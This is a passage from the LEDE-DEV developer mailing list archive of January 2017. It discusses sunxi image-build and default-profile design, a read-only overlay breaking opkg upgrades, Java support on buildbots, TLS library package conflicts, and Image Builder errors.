The conclusion is that for sunxi at least, I do not know how to make a
default profile or device to make it easier for users.  At the moment
we have the alphabetically first one selected as the default but that
is just a little bit not easy for all other devices' users ;)

                yousong


From wigyori at uid0.hu  Sun Jan  1 10:55:17 2017
From: wigyori at uid0.hu (Zoltan HERPAI)
Date: Sun, 01 Jan 2017 19:55:17 +0100
Subject: [LEDE-DEV] [PATCH v2 0/4] sunxi: rework image build and
 sysupgrade support
In-Reply-To: <1483207424-12274-1-git-send-email-yszhou4tech@gmail.com>
References: <1483207424-12274-1-git-send-email-yszhou4tech@gmail.com>
Message-ID: <58695095.6000409@uid0.hu>

Hi Yousong,

Yousong Zhou wrote:
> This series mainly tries achieve the following goals
>
>  - use new image generation method
>  - squashfs sdcard image support
>  - mkfs.f2fs or mkfs.ext4 remaining space within squashfs rootfs partition and
>    mount it as rw overlay
>  - sysupgrade with fwtool check support
>
> Device profiles are automatically generated with a helper makefile.  Names for
> image files, board_names, etc. are changed to try to use basename of kernel dts
> file for the specific device.  Names for uboot-sunxi is not touched though.
>   
[snip]

I'm OK with what these patches want to achieve. I had several patches 
prepared for similar purposes in sunxi (apart from the new image 
building code), but were never finalized due to responsibilities 
elsewhere, as one of the "obvious reasons" mentioned earlier (by Daniel 
IIRC). Whether you are merging these into trunk before or after your 
release and/or the merge, is obviously at your discretion.

Having said that, if such major target reworks happen, and we seem to be 
geared towards a merge, it would be appreciated if you cc the 
openwrt-devel list so people over there would be aware.

Thanks,
Zoltan H



From nbd at nbd.name  Sun Jan  1 11:27:16 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Sun, 1 Jan 2017 20:27:16 +0100
Subject: [LEDE-DEV] [PATCH 04/11] build: image.mk: don't install-images
 for devices not selected
In-Reply-To: <CAECwjAgtwxsM_CRhNCRPL12J4pun1cR18MLkMmNMTyKD4Jgjcg@mail.gmail.com>
References: <1483203997-12577-1-git-send-email-yszhou4tech@gmail.com>
 <1483203997-12577-5-git-send-email-yszhou4tech@gmail.com>
 <ee661cf6-85b7-9145-539c-9547ee9b4ddb@nbd.name>
 <CAECwjAiQwWAMHdiY4Ze5f8dyXvLSxq2_suAs5WjfVJ0V2SR+mg@mail.gmail.com>
 <87ea258f-3293-a2a2-2974-6578edbfce09@nbd.name>
 <CAECwjAgtwxsM_CRhNCRPL12J4pun1cR18MLkMmNMTyKD4Jgjcg@mail.gmail.com>
Message-ID: <48703b66-b0ce-857f-1e8d-51e85c47daa9@nbd.name>

On 2017-01-01 19:07, Yousong Zhou wrote:
> If the default device profile is meant to be used to make a single
> image that can run on all device, then in the case of sunxi, it is not
> possible at least with regard to uboot.
> 
> Or if the default device profile is meant to be selected as the
> default just to implicitly enable all other profiles of the same
> target/subtarget, then again in the case of sunxi it has the
> dependency problem as illustrated above.  Besides, the build system
> can already select multiple devices and enable all profiles (devices)
> with explicit config symbols.  Can this goal of the default profile be
> dropped?
There are targets that have multiple default profiles for all devices
(with just different package selection). Because of that, I think for
now it is better to have one default profile as well.

> My current understanding is that the profiles/*.mk thing is part of
> the old code and is to be replaced with the Device/xxx thing.  Correct
> me if I am wrong ;)
> 
> The conclusion is that for sunxi at least, I do not know how to make a
> default profile or device to make it easier for users.  At the moment
> we have the alphabetically first one selected as the default but that
> is just a little bit not easy for all other devices' users ;)
You can do this like on other targets as well. Make a profile called
'Default', select all packages needed to build images for all devices,
set PROFILES:=Default and it should work.

- Felix



From philipp_subx at redfish-solutions.com  Sun Jan  1 15:06:50 2017
From: philipp_subx at redfish-solutions.com (Philip Prindeville)
Date: Sun, 1 Jan 2017 16:06:50 -0700
Subject: [LEDE-DEV] Adding new targets/subtargets
In-Reply-To: <CAFE24U2GEuCOxDbinJMAEsDozZrNHPZdEb-Co+MBOV8c97Dn6g@mail.gmail.com>
References: <ACCA6DDA-2AF9-400C-A7E9-8C0924181744@redfish-solutions.com>
 <CAECwjAhesytYpX1HiLohf+PRVRewRP4JyKCxBytysawrtby6jA@mail.gmail.com>
 <47DA0013-D6C4-47A0-9275-420674B0F808@redfish-solutions.com>
 <CAECwjAjQrJCN4+Khh3cCibGXQEAWn_UriFrFKNS=4hCEyHjPpQ@mail.gmail.com>
 <D2C82664-953C-4E0C-A1E6-F9F777DC5420@redfish-solutions.com>
 <CAECwjAiwynC-Ba_FsxHHYP2gBuNN_wpSZzA_jMUC1mWuomvvbw@mail.gmail.com>
 <B7F4C2C9-E703-4A4B-B89C-79D39561A699@redfish-solutions.com>
 <CAFE24U2GEuCOxDbinJMAEsDozZrNHPZdEb-Co+MBOV8c97Dn6g@mail.gmail.com>
Message-ID: <D9C74D15-359F-474F-AA75-E980BD61B5D5@redfish-solutions.com>


> On Jan 1, 2017, at 8:34 AM, Weedy <weedy2887 at gmail.com> wrote:
> 
> On 31 December 2016 at 20:23, Philip Prindeville
> <philipp_subx at redfish-solutions.com> wrote:
>> 
>> 
>> Pruning useful subtargets to solve a buildbot resource shortage seems like taking a sledgehammer to kill a fly.
>> 
>> Why not instead just add a profile attribute like:
>> 
>> BUILDBOT_BUILD_ME:=no
>> 
>> Whether it?s still useful to *build* a subtarget is a different question that whether it?s still useful (from a pedagogical perspective) to *keep* a subtarget in the SCM? and these questions shouldn?t be conflated.
>> 
>> -Philip
> 
> 
> If this is going to be the road we travel down (I'm bikeshedding here)
> wouldn't a  BUILDBOT_INTERVAL:=daily/3d/7d/14d make more sense?
> 
> We have more then a few full on targets that for the most part are
> much less popular then say ar71xx.


That?s an even better idea.

-Philip



From bsdwebsol at gmail.com  Sun Jan  1 19:30:46 2017
From: bsdwebsol at gmail.com (B. Cook)
Date: Sun, 1 Jan 2017 22:30:46 -0500
Subject: [LEDE-DEV] newbie opkg upgrading questions..
Message-ID: <CAJM=yd=0ana5XE0RxtZwrwnRx_o4OV-KaHKZU3BTcxOU+8T+jQ@mail.gmail.com>

This worked for me the last time, but now - not so much..

opkg list-upgradable | cut -f1 -d\ | xargs opkg upgrade

root at wzr-ag300h:~# df -h
Filesystem                Size      Used Available Use% Mounted on
tmpfs                    61.2M      1.1M     60.1M   2% /tmp
overlayfs:/overlay       28.4M      2.6M     25.9M   9% /
tmpfs                   512.0K         0    512.0K   0% /dev

root at wzr-ag300h:~# mount
proc on /proc type proc (ro,noatime)
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
overlayfs:/overlay on / type overlay
(ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)
tmpfs on /dev type tmpfs (ro,relatime,size=512k,mode=755)
devpts on /dev/pts type devpts (ro,relatime,mode=600)

The error is the same with all.. Just showing one.

opkg upgrade luci-theme-bootstrap
Upgrading luci-theme-bootstrap on root from git-16.363.68908-f12fdba-1
to git-17.001.43128-3366c25-1...
Downloading http://downloads.lede-project.org/snapshots/packages/mips_24kc/luci/luci-theme-bootstrap_git-17.001.43128-3366c25-1_all.ipk.
Collected errors:
 * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.control: Read-only
file system.
 * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.postinst:
Read-only file system.
 * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.postinst-pkg:
Read-only file system.
 * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.prerm: Read-only
file system.
 * wfopen: /etc/uci-defaults/30_luci-theme-bootstrap: Read-only file system.
 * wfopen: /usr/lib/lua/luci/view/themes/bootstrap/footer.htm:
Read-only file system.
 * wfopen: /usr/lib/lua/luci/view/themes/bootstrap/header.htm:
Read-only file system.
 * wfopen: /www/luci-static/bootstrap/cascade.css: Read-only file system.
 * wfopen: /www/luci-static/bootstrap/favicon.ico: Read-only file system.
 * wfopen: /www/luci-static/bootstrap/html5.js: Read-only file system.
 * wfopen: /www/luci-static/bootstrap/mobile.css: Read-only file system.
 * pkg_write_filelist: Failed to open
//usr/lib/opkg/info/luci-theme-bootstrap.list: Read-only file system.
 * opkg_install_pkg: Failed to extract data files for
luci-theme-bootstrap. Package debris may remain!
 * pkg_write_filelist: Failed to open
//usr/lib/opkg/info/luci-theme-bootstrap.list: Read-only file system.

root at wzr-ag300h:~# df -h /usr/
Filesystem                Size      Used Available Use% Mounted on
overlayfs:/overlay       28.4M      2.6M     25.9M   9% /

 mount | grep overlay
overlayfs:/overlay on / type overlay
(ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)

My son is doing 'homework' currently, which involves much cursing and
keyboard mashing :P so I can not reboot the unit.

Is that all I need to do? (and if so, how come? what did I do wrong?
either now or before..)

root at wzr-ag300h:~# uptime
 22:29:19 up 5 days,  1:10,  load average: 0.00, 0.00, 0.00

root at wzr-ag300h:~# uname -a
Linux wzr-ag300h 4.4.39 #0 Sat Dec 24 13:55:45 2016 mips GNU/Linux

Should I have left something useful please let me know.

Thanks in advance.


From yszhou4tech at gmail.com  Sun Jan  1 21:18:14 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Mon, 2 Jan 2017 13:18:14 +0800
Subject: [LEDE-DEV] newbie opkg upgrading questions..
In-Reply-To: <CAJM=yd=0ana5XE0RxtZwrwnRx_o4OV-KaHKZU3BTcxOU+8T+jQ@mail.gmail.com>
References: <CAJM=yd=0ana5XE0RxtZwrwnRx_o4OV-KaHKZU3BTcxOU+8T+jQ@mail.gmail.com>
Message-ID: <CAECwjAhKHohvUyk91Gzja5z7NaizYUue3UBzduDPZYbChV7dCg@mail.gmail.com>

On 2 January 2017 at 11:30, B. Cook <bsdwebsol at gmail.com> wrote:
> This worked for me the last time, but now - not so much..
>
> opkg list-upgradable | cut -f1 -d\ | xargs opkg upgrade
>
> root at wzr-ag300h:~# df -h
> Filesystem                Size      Used Available Use% Mounted on
> tmpfs                    61.2M      1.1M     60.1M   2% /tmp
> overlayfs:/overlay       28.4M      2.6M     25.9M   9% /
> tmpfs                   512.0K         0    512.0K   0% /dev
>
> root at wzr-ag300h:~# mount
> proc on /proc type proc (ro,noatime)
> tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noatime)
> overlayfs:/overlay on / type overlay
> (ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)
> tmpfs on /dev type tmpfs (ro,relatime,size=512k,mode=755)
> devpts on /dev/pts type devpts (ro,relatime,mode=600)
>

/overlay on / was mounted as ro.  That should explain the error
message, but we need to find out how it is so.  Maybe checking dmesg
log will reveal some info.  Try remounting it as rw for the moment
should also work and if not the command should also reveal some useful
info ;)

                yousong

> The error is the same with all.. Just showing one.
>
> opkg upgrade luci-theme-bootstrap
> Upgrading luci-theme-bootstrap on root from git-16.363.68908-f12fdba-1
> to git-17.001.43128-3366c25-1...
> Downloading http://downloads.lede-project.org/snapshots/packages/mips_24kc/luci/luci-theme-bootstrap_git-17.001.43128-3366c25-1_all.ipk.
> Collected errors:
>  * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.control: Read-only
> file system.
>  * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.postinst:
> Read-only file system.
>  * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.postinst-pkg:
> Read-only file system.
>  * wfopen: //usr/lib/opkg/info/luci-theme-bootstrap.prerm: Read-only
> file system.
>  * wfopen: /etc/uci-defaults/30_luci-theme-bootstrap: Read-only file system.
>  * wfopen: /usr/lib/lua/luci/view/themes/bootstrap/footer.htm:
> Read-only file system.
>  * wfopen: /usr/lib/lua/luci/view/themes/bootstrap/header.htm:
> Read-only file system.
>  * wfopen: /www/luci-static/bootstrap/cascade.css: Read-only file system.
>  * wfopen: /www/luci-static/bootstrap/favicon.ico: Read-only file system.
>  * wfopen: /www/luci-static/bootstrap/html5.js: Read-only file system.
>  * wfopen: /www/luci-static/bootstrap/mobile.css: Read-only file system.
>  * pkg_write_filelist: Failed to open
> //usr/lib/opkg/info/luci-theme-bootstrap.list: Read-only file system.
>  * opkg_install_pkg: Failed to extract data files for
> luci-theme-bootstrap. Package debris may remain!
>  * pkg_write_filelist: Failed to open
> //usr/lib/opkg/info/luci-theme-bootstrap.list: Read-only file system.
>
> root at wzr-ag300h:~# df -h /usr/
> Filesystem                Size      Used Available Use% Mounted on
> overlayfs:/overlay       28.4M      2.6M     25.9M   9% /
>
>  mount | grep overlay
> overlayfs:/overlay on / type overlay
> (ro,noatime,lowerdir=/,upperdir=/overlay/upper,workdir=/overlay/work)
>
> My son is doing 'homework' currently, which involves much cursing and
> keyboard mashing :P so I can not reboot the unit.
>
> Is that all I need to do? (and if so, how come? what did I do wrong?
> either now or before..)
>
> root at wzr-ag300h:~# uptime
>  22:29:19 up 5 days,  1:10,  load average: 0.00, 0.00, 0.00
>
> root at wzr-ag300h:~# uname -a
> Linux wzr-ag300h 4.4.39 #0 Sat Dec 24 13:55:45 2016 mips GNU/Linux
>
> Should I have left something useful please let me know.
>
> Thanks in advance.
>
> _______________________________________________
> Lede-dev mailing list
> Lede-dev at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/lede-dev


From yszhou4tech at gmail.com  Sun Jan  1 21:36:28 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Mon, 2 Jan 2017 13:36:28 +0800
Subject: [LEDE-DEV] [PATCH 04/11] build: image.mk: don't install-images
 for devices not selected
In-Reply-To: <48703b66-b0ce-857f-1e8d-51e85c47daa9@nbd.name>
References: <1483203997-12577-1-git-send-email-yszhou4tech@gmail.com>
 <1483203997-12577-5-git-send-email-yszhou4tech@gmail.com>
 <ee661cf6-85b7-9145-539c-9547ee9b4ddb@nbd.name>
 <CAECwjAiQwWAMHdiY4Ze5f8dyXvLSxq2_suAs5WjfVJ0V2SR+mg@mail.gmail.com>
 <87ea258f-3293-a2a2-2974-6578edbfce09@nbd.name>
 <CAECwjAgtwxsM_CRhNCRPL12J4pun1cR18MLkMmNMTyKD4Jgjcg@mail.gmail.com>
 <48703b66-b0ce-857f-1e8d-51e85c47daa9@nbd.name>
Message-ID: <CAECwjAiaP4h4H5mngo6ENcrGAk52C_+t8uLMwvu8Pk5tTvi=MQ@mail.gmail.com>

On 2 January 2017 at 03:27, Felix Fietkau <nbd at nbd.name> wrote:
> On 2017-01-01 19:07, Yousong Zhou wrote:
>> If the default device profile is meant to be used to make a single
>> image that can run on all device, then in the case of sunxi, it is not
>> possible at least with regard to uboot.
>>
>> Or if the default device profile is meant to be selected as the
>> default just to implicitly enable all other profiles of the same
>> target/subtarget, then again in the case of sunxi it has the
>> dependency problem as illustrated above.  Besides, the build system
>> can already select multiple devices and enable all profiles (devices)
>> with explicit config symbols.  Can this goal of the default profile be
>> dropped?
> There are targets that have multiple default profiles for all devices
> (with just different package selection). Because of that, I think for
> now it is better to have one default profile as well.

So these default profiles are intended more for defining packages set
or flavours, and along with that have the side effect of
install-images for all devices?

The other thing is that Device/Default of ar71xx has Minimal as member
of the PROFILES and it seems to be just missing in the code.  Just a
random finding and you may fix that later if that's the case

>
>> My current understanding is that the profiles/*.mk thing is part of
>> the old code and is to be replaced with the Device/xxx thing.  Correct
>> me if I am wrong ;)
>>
>> The conclusion is that for sunxi at least, I do not know how to make a
>> default profile or device to make it easier for users.  At the moment
>> we have the alphabetically first one selected as the default but that
>> is just a little bit not easy for all other devices' users ;)
> You can do this like on other targets as well. Make a profile called
> 'Default', select all packages needed to build images for all devices,
> set PROFILES:=Default and it should work.

This will be ugly because this default profile will need to select all
current and future uboot-sunxi variants.  I myself certainly do not
like that.  But if default profile is a must, you know I am all ears
to receive better plans ;)

The current menuconfig arrangement for sunxi target in my opinion is
not that difficult for users anyway.  For people building images on
their own, it is very likely that want build for a single or selected
set of devices.  I still remember the first time I played with ar71xx
target and selected default profile by chance, and viola the
bin/ar71xx directory had so many images for so many different
devices...

                yousong


From yszhou4tech at gmail.com  Sun Jan  1 22:02:20 2017
From: yszhou4tech at gmail.com (Yousong Zhou)
Date: Mon, 2 Jan 2017 14:02:20 +0800
Subject: [LEDE-DEV] [PATCH v2 0/4] sunxi: rework image build and
 sysupgrade support
In-Reply-To: <58695095.6000409@uid0.hu>
References: <1483207424-12274-1-git-send-email-yszhou4tech@gmail.com>
 <58695095.6000409@uid0.hu>
Message-ID: <CAECwjAg0bma8s7VYUHbCzjpV6OCVNfZW9+bDzftUPBhfbGMh6g@mail.gmail.com>

On 2 January 2017 at 02:55, Zoltan HERPAI <wigyori at uid0.hu> wrote:
> Hi Yousong,
>
> Yousong Zhou wrote:
>>
>> This series mainly tries achieve the following goals
>>
>>  - use new image generation method
>>  - squashfs sdcard image support
>>  - mkfs.f2fs or mkfs.ext4 remaining space within squashfs rootfs partition
>> and
>>    mount it as rw overlay
>>  - sysupgrade with fwtool check support
>>
>> Device profiles are automatically generated with a helper makefile.  Names
>> for
>> image files, board_names, etc. are changed to try to use basename of
>> kernel dts
>> file for the specific device.  Names for uboot-sunxi is not touched
>> though.
>>
>
> [snip]
>
> I'm OK with what these patches want to achieve. I had several patches
> prepared for similar purposes in sunxi (apart from the new image building
> code), but were never finalized due to responsibilities elsewhere, as one of
> the "obvious reasons" mentioned earlier (by Daniel IIRC). Whether you are
> merging these into trunk before or after your release and/or the merge, is
> obviously at your discretion.
>
> Having said that, if such major target reworks happen, and we seem to be
> geared towards a merge, it would be appreciated if you cc the openwrt-devel
> list so people over there would be aware.
>
> Thanks,
> Zoltan H
>

Well, posting to OpenWrt-devel with news about LEDE seems to me like
an act of propaganda/advertising/boasting or whatever the word could
be.  I do not think I have the role/hat/intention to play that...
Sorry

Besides, I do not think the extra mail will do much help anyway as
it's very likely those concerned with the merge are already subscribed
to both mailing lists.

The better plan could be there were two guys volunteered to each watch
activities of a single side and prepare a digest/summary/brief or any
such thing together with emphasis on their possible effects on
possible future merge and cross-post it to both openwrt-devel and
lede-dev.  That way we will have a written down records/checklist to
review for the merge to happen.

But I probably have talked too much and will digress if going any further...

Regards,
                yousong


From ralph.sennhauser at gmail.com  Mon Jan  2 00:22:08 2017
From: ralph.sennhauser at gmail.com (Ralph Sennhauser)
Date: Mon, 2 Jan 2017 09:22:08 +0100
Subject: [LEDE-DEV] [OpenWrt-Devel] Adding host Java support to the
	buildbots
In-Reply-To: <d046ed3b-3fbb-4379-e521-c06d7c2384cc@comcast.net>
References: <bb7cb4c2-39f5-6ce5-b0e4-b686802157a1@comcast.net>
 <20161230085025.14466da0@gmail.com>
 <d046ed3b-3fbb-4379-e521-c06d7c2384cc@comcast.net>
Message-ID: <20170102092208.03802d40@gmail.com>

On Fri, 30 Dec 2016 06:52:32 -0800
Dana Myers <k6jq at comcast.net> wrote:

> On 12/29/2016 11:50 PM, Ralph Sennhauser wrote:
> > Hi Dana
> >
> > On Thu, 29 Dec 2016 12:30:37 -0800
> > Dana Myers <k6jq at comcast.net> wrote:
> >  
> >> In reference to https://github.com/openwrt/packages/pull/3686
> >>
> >> We've added OpenWRT support for:
> >>
> >> * JamVM 2.0: Java JVM
> >> * GNU Classpath 2.0: Java class library  
> > There is no classpath 2.0  
> 
> Right you are - serves me right for spewing version numbers off the
> top of my head from something I initially did two years :-) It's
> classpath 0.99
> >  
> >> * RXTX Java serial communications library
> >>
> >> However, the build bots won't build these packages yet because
> >> a host Java compiler is required. To build these packages, I
> >> install:  
> > The main reason to use jamvm with gnu classpath is you can
> > bootstrap it without a jdk, right? If you already require a host
> > jdk why not go for jamvm with the openjdk classpath to get full
> > java support?  
> 
> I don't understand the question about bootstrapping and host vs
> target JDK. Host JDK is used specifically for javac to compile Java
> to bytecodes; target has no dependency on JDK otherwise.

Well, if you require openjdk-7-jdk on the build host you sidestep
bootstrapping java all together (c compiler & source code -> build) in
which case jamvm with openjdk classpath is as easy to get as with gnu
classpath but the latter only supports part of 1.5 & 1.6.

The question boils down to why you settle for something inferior when
you can have something much better.

> 
> Classpath was, for many years, the only library supported by JamVM,
> is much smaller than OpenJDK (valuable on resource-constrained
> systems) and remains the default library supported by JamVM. For the
> purposes of my project from which I contributed, Classpath is
> adequate and appears to avoid concerns about encumbrance of the
> target builds/devices with OpenJDK. Most specifically, however, was
> the apparent lack of support for MIPS32 which is a show-stopper for
> the AR71xx architecture I'm using.

Another alternative to hotspot on mips would be cacao, again with
openjdk classpath. Though jamvm certainly is a vaild pick.

What encumbrance concerns do you have in mind? Debian also ships the
binaries as in openjdk-7-jdk.

I don't object to jamvm with gnu classpath, just that I was wondering
why you'd pick it over the alternatives. Basically it's adding java
support that is hardly usable this days apart of a few specialized
cases.

Cheers
Ralph


From openwrt at ezplanet.net  Mon Jan  2 02:13:40 2017
From: openwrt at ezplanet.net (Mauro M.)
Date: Mon, 2 Jan 2017 10:13:40 +0000
Subject: [LEDE-DEV] LEDE Fails to build
In-Reply-To: <9fbe29c8-d2b7-b3c0-8bbf-90898b230f1d@gmail.com>
References: <HE1PR10MB0041200CEE67B62511669FC1ED6C0@HE1PR10MB0041.EURPRD10.PROD.OUTLOOK.COM>
 <ba41a4c9-1a38-eaf3-892b-d72549cafc26@ezplanet.net>
 <9fbe29c8-d2b7-b3c0-8bbf-90898b230f1d@gmail.com>
Message-ID: <96e52ed8-9da3-1d95-1fe2-fb4a0d0a923c@ezplanet.net>

Magnus,


Thank you.

I found that libustream-mbedtls is forced to enabled in the new releases 
and this conflicts with libustream-polarssl that I had already enabled 
in my router's configuration.

I disabled libustream-polarssl (libustream-mbedtls cannot be disabled) 
and now the code builds. Perhaps the project might want to look at 
checking dependencies and conflicts in the .config file.

Looking further into the matter I found that now I have the following in 
my configuration.

                  -*- libmbedtls........................................ 
Embedded SSL (library)
                  -*- libopenssl........................... Open source 
SSL toolkit (libraries)  --->
                  -*- libpolarssl....................................... 
Embedded SSL (library)

I wonder why they are all forced (I cannot disable any of them) and if I 
need all of them at all.

Best regards,

Mauro


On 01/01/17 17:23, Magnus Kroken wrote:
> Hi Mauro
>
> On 01.01.2017 16.10, Mauro M. wrote:
>> Collected errors:
>>  * check_data_file_clashes: Package libustream-polarssl wants to install
>> file
>> /net2/router/lede/trunk-ipvs/build_dir/target-mips_24kc_musl-1.1.15/root-ar71xx/lib/libustream-ssl.so 
>>
>>
>>     But that file is already provided by package  * libustream-mbedtls
>>  * opkg_install_cmd: Cannot install package libustream-polarssl.
>
> Try updating all LEDE code as well as all enabled package feeds, and 
> updating your configuration (backup, then make defconfig). This is 
> probably caused by LEDE and feeds moving to mbed TLS 2.x as default 
> TLS library.
>
> If it still fails, run make menuconfig and find out which package 
> selects libustream-polarssl. Grepping my tree, cshark (in 
> feeds/packages) is the only package that depends on 
> libustream-polarssl at this point.
>
> Regards
> /Magnus



From jo at mein.io  Mon Jan  2 02:21:46 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 2 Jan 2017 11:21:46 +0100
Subject: [LEDE-DEV] [PATCH v2] package-ipkg: Do not fail build without
 base-files
In-Reply-To: <20161210000449.28830-1-f.fainelli@gmail.com>
References: <20161210000449.28830-1-f.fainelli@gmail.com>
Message-ID: <62f2073f-21d1-9f3e-6804-2b30edc14bed@mein.io>

Hi Florian,

ACK from me on this one. I think it makes sense.

~ Jo


From jo at mein.io  Mon Jan  2 02:23:47 2017
From: jo at mein.io (Jo-Philipp Wich)
Date: Mon, 2 Jan 2017 11:23:47 +0100
Subject: [LEDE-DEV] Image Wizard for LEDE?
In-Reply-To: <AM3PR08MB0642A0F21917F77C3770D4DE92680@AM3PR08MB0642.eurprd08.prod.outlook.com>
References: <3ec3c6c5-d1d4-da32-7615-891f13e78e24@web.de>
 <AM3PR08MB0642A0F21917F77C3770D4DE92680@AM3PR08MB0642.eurprd08.prod.outlook.com>
Message-ID: <367bf30b-1cc6-dc08-e96e-ac2826cecac6@mein.io>

Hi,

> Freifunk (or another german site about wifi) also has a webinterface for 
> the Image Builder. I would really like to have that too.

Count me in, I also support this idea. I can lend a hand with
implementing stuff.

~ Jo


From nbd at nbd.name  Mon Jan  2 03:23:12 2017
From: nbd at nbd.name (Felix Fietkau)
Date: Mon, 2 Jan 2017 12:23:12 +0100
Subject: [LEDE-DEV] [PATCH 04/11] build: image.mk: don't install-images
 for devices not selected
In-Reply-To: <CAECwjAiaP4h4H5mngo6ENcrGAk52C_+t8uLMwvu8Pk5tTvi=MQ@mail.gmail.com>
References: <1483203997-12577-1-git-send-email-yszhou4tech@gmail.com>
 <1483203997-12577-5-git-send-email-yszhou4tech@gmail.com>
 <ee661cf6-85b7-9145-539c-9547ee9b4ddb@nbd.name>
 <CAECwjAiQwWAMHdiY4Ze5f8dyXvLSxq2_suAs5WjfVJ0V2SR+mg@mail.gmail.com>
 <87ea258f-3293-a2a2-2974-6578edbfce09@nbd.name>
 <CAECwjAgtwxsM_CRhNCRPL12J4pun1cR18MLkMmNMTyKD4Jgjcg@mail.gmail.com>
 <48703b66-b0ce-857f-1e8d-51e85c47daa9@nbd.name>
 <CAECwjAiaP4h4H5mngo6ENcrGAk52C_+t8uLMwvu8Pk5tTvi=MQ@mail.gmail.com>
Message-ID: <a8f070c7-efef-653e-33d1-6b0fccf219e5@nbd.name>

On 2017-01-02 06:36, Yousong Zhou wrote:
> So these default profiles are intended more for defining packages set
> or flavours, and along with that have the side effect of
> install-images for all devices?
It can also be used to define a profile for a specific group of devices
(by adding it to PROFILES only for those devices).

> The other thing is that Device/Default of ar71xx has Minimal as member
> of the PROFILES and it seems to be just missing in the code.  Just a
> random finding and you may fix that later if that's the case
Yeah, I removed those profiles and apparently forgot to remove them from
the PROFILES variable as well. I will fix that...

>>> My current understanding is that the profiles/*.mk thing is part of
>>> the old code and is to be replaced with the Device/xxx thing.  Correct
>>> me if I am wrong ;)
>>>
>>> The conclusion is that for sunxi at least, I do not know how to make a
>>> default profile or device to make it easier for users.  At the moment
>>> we have the alphabetically first one selected as the default but that
>>> is just a little bit not easy for all other devices' users ;)
>> You can do this like on other targets as well. Make a profile called
>> 'Default', select all packages needed to build images for all devices,
>> set PROFILES:=Default and it should work.
> 
> This will be ugly because this default profile will need to select all
> current and future uboot-sunxi variants.  I myself certainly do not
> like that.  But if default profile is a must, you know I am all ears
> to receive better plans ;)
It's not an absolute must, but I would still like to have it, even if
only for the sake of making the target more consistent with other
targets for users.

> The current menuconfig arrangement for sunxi target in my opinion is
> not that difficult for users anyway.  For people building images on
> their own, it is very likely that want build for a single or selected
> set of devices.  I still remember the first time I played with ar71xx
> target and selected default profile by chance, and viola the
> bin/ar71xx directory had so many images for so many different
> devices...
Many users I know expect to be able to just select a target, select a
few packages and have a build that runs on all devices of that target.
Not all of them know about selecting "Multiple devices" and then check
the devices they want individually.

- Felix


From alberto.bursi at outlook.it  Mon Jan  2 04:51:12 2017
From: alberto.bursi at outlook.it (Alberto Bursi)
Date: Mon, 2 Jan 2017 12:51:12 +0000
Subject: [LEDE-DEV] Image Wizard for LEDE?
In-Reply-To: <367bf30b-1cc6-dc08-e96e-ac2826cecac6@mein.io>
References: <3ec3c6c5-d1d4-da32-7615-891f13e78e24@web.de>
 <AM3PR08MB0642A0F21917F77C3770D4DE92680@AM3PR08MB0642.eurprd08.prod.outlook.com>
 <367bf30b-1cc6-dc08-e96e-ac2826cecac6@mein.io>
Message-ID: <AM3PR08MB0642F74B96DCDAE1BAA76E8B926F0@AM3PR08MB0642.eurprd08.prod.outlook.com>



On 01/02/2017 11:23 AM, Jo-Philipp Wich wrote:
> Hi,
>
>> Freifunk (or another german site about wifi) also has a webinterface for
>> the Image Builder. I would really like to have that too.
>
> Count me in, I also support this idea. I can lend a hand with
> implementing stuff.
>
> ~ Jo
>

Nice, thanks for the offer. I was planning to try setting it up in a VM 
locally after I finished the automated package list indexing script for 
the wiki (within a month or so).
I had a look at the docs and it should only need some configuration to 
work for LEDE/OWRT, but since I have yet to try it I don't know if there 
are limitations or issues yet.

If you want to have a look...

This is the site:
http://imagebuilder.augsburg.freifunk.net/

Source and installation docs are here:
https://github.com/weimarnetz/meshkit



-Alberto


From emss at free.fr  Mon Jan  2 07:50:09 2017
From: emss at free.fr (Eric Masson)
Date: Mon, 2 Jan 2017 16:50:09 +0100
Subject: [LEDE-DEV] brcm47xx legacy image building issues
Message-ID: <o4dsrd$v3r$1@blaine.gmane.org>

Hello,

I get the following error while trying to generate an image for a WGT634U :
emss at vmwdebems:~/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64$ make 
image PACKAGES="aiccu fwknopd luci luci-app-firewall luci-app-fwknopd 
luci-app-sqm luci-proto-ipv6 luci-proto-ppp tcpdump -dnsmasq 
iputils-traceroute6 kmod-nf-nathelper-extra"

...
Collected errors:
  * satisfy_dependencies_for: Cannot satisfy the following dependencies 
for luci:
  *      uhttpd *        uhttpd-mod-ubus *       luci-mod-admin-full * 
firewall *      libuci *
  * satisfy_dependencies_for: Cannot satisfy the following dependencies 
for luci-app-sqm:
  *      libuci-lua *    rpcd *  libubus-lua *
  * satisfy_dependencies_for: Cannot satisfy the following dependencies 
for base-files:
  *      netifd *        ubusd *         ubus *  libjson-script * 
ubox *  libubox *       libubus *       jsonfilter *    usign * 
ubox *
  * opkg_install_cmd: Cannot install package firewall.
  * opkg_install_cmd: Cannot install package mtd.
  * opkg_install_cmd: Cannot install package netifd.
  * opkg_install_cmd: Cannot install package odhcp6c.
  * opkg_install_cmd: Cannot install package odhcpd.
  * satisfy_dependencies_for: Cannot satisfy the following dependencies 
for opkg:
  *      uclient-fetch *
  * opkg_install_cmd: Cannot install package swconfig.
  * opkg_install_cmd: Cannot install package uci.
  * opkg_install_cmd: Cannot install package uclient-fetch.
  * opkg_install_cmd: Cannot install package wpad-mini.
Makefile:140: recipe for target 'package_install' failed
make[2]: *** [package_install] Error 255
make[2]: Leaving directory 
'/home/emss/lede-imagebuilder-brcm47xx-legacy.Linux-x86_64'
Makefile:110: recipe for target '_call_image' failed
make[1]: *** [_call_image] Error 2
make[1]: Leaving directory 
